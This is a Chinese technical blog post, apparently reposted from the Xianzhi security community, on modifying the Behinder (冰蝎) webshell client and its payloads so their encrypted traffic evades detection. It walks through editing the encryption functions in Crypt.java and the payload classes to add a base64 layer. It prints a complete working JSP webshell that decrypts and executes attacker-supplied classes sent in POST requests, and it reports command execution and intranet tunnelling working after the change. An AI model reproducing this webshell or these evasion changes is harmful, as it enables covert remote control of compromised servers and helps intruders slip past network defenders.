技術干貨 | 簡單的冰蝎流量魔改
前言
感覺冰蝎流量魔改的文章比較少,我自己琢磨了一下,感覺簡單地做個流量魔改并不復雜,發出來供大家參考。我自己是個Java笨比,有問題的地方歡迎大佬們評論區指正共同學習。
正文
0x00 冰蝎源碼
冰蝎源碼的獲取,可以下載冰蝎,用idea自帶的反編譯工具去反編譯,我這里直接用github搜到的別人整理好的反編譯代碼了(https://github.com/x1a0t/Behinder-Source)
0x01 Crypt.java的修改
(1)加密函數
在Crypt.java中,可以修改Encrypt、EncryptForPhp這類加密函數的邏輯,比如在返回結果數據前,對結果做自定義的加密處理。我這里的例子就是在原有的AES基礎上做了個base64編碼。
note:public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)
這個函數不用改。我看了下,這個函數是在進最后的return前進了其他被改了邏輯的加密函數(比如EncryptForPhp),其他函數改過了,這里就不用動了。我最開始沒仔細看代碼的時候想著,人家寫了個匯總函數在這里改應該挺快捷的,結果發現這里雖然寫了個匯總的函數,但是有些時候調用加密還是調用了具體的加密函數(比如:EncryptForPhp),所以這里就不用管這個函數了。
修改的例子:


(2)解密函數
修改Crypt.java里的Decrypt函數(我這里是做的base64編解碼,只要在這個總的Decrypt函數開頭做一次解碼就行了,各位大佬們可以根據自己選用的編解碼方式,自行修改這些Decrypt函數):

0x02 payload的修改
我自己對jsp馬做了個簡單的跟蹤調試,發現解密函數解密的流量,應該是被客戶端塞進去的payload里的xxx.class發出來的,這些流量發出來之前會調用payload里xxx.class的Encrypt()函數做個流量加密。所以這里的思路是,把payload里存在Encrypt()函數的xxx.class的Encrypt()函數加密邏輯都修改一下,就能貫通整個加解密通訊流程了。
具體操作還是以jsp增加base64編碼舉例子:
因為演示的是jsp的部分,就去修改net.rebeyond.behinder.payload.java下面的Java代碼文件,找到里面的Encrypt()函數(payload里的Java代碼,挨個找找改一下,并不是每一個文件都有Encrypt,這里沒有就不管),去修改加密邏輯就行了

note:別的語言的payload里的加密函數也叫encrypt(最多有些大小寫區別),但是要修改的話需要用對應的語言去修改(其中,C#的是dll文件,需要額外的姿勢,歡迎評論區老哥補充這方面方便的思路)
以php為例子,加密函數修改如下:

0x03 webshell馬子的修改
以jsp為例,這里就是在原本的base64解碼里又套了一層base64解碼:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
0x04 打包與測試
用maven做package打包,完成后要用的是名字長的那個jar包(Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar)

本地運行,測試(命令執行、內網穿透等功能正常,不過數據庫連接功能拉閘了):


最后?
有兩個還沒解決的東西:
1.C#部分的dll文件處理
2.數據庫連接功能出現了bug(暫時還沒去調試)
歡迎大佬們在留言指教
文章來源:先知社區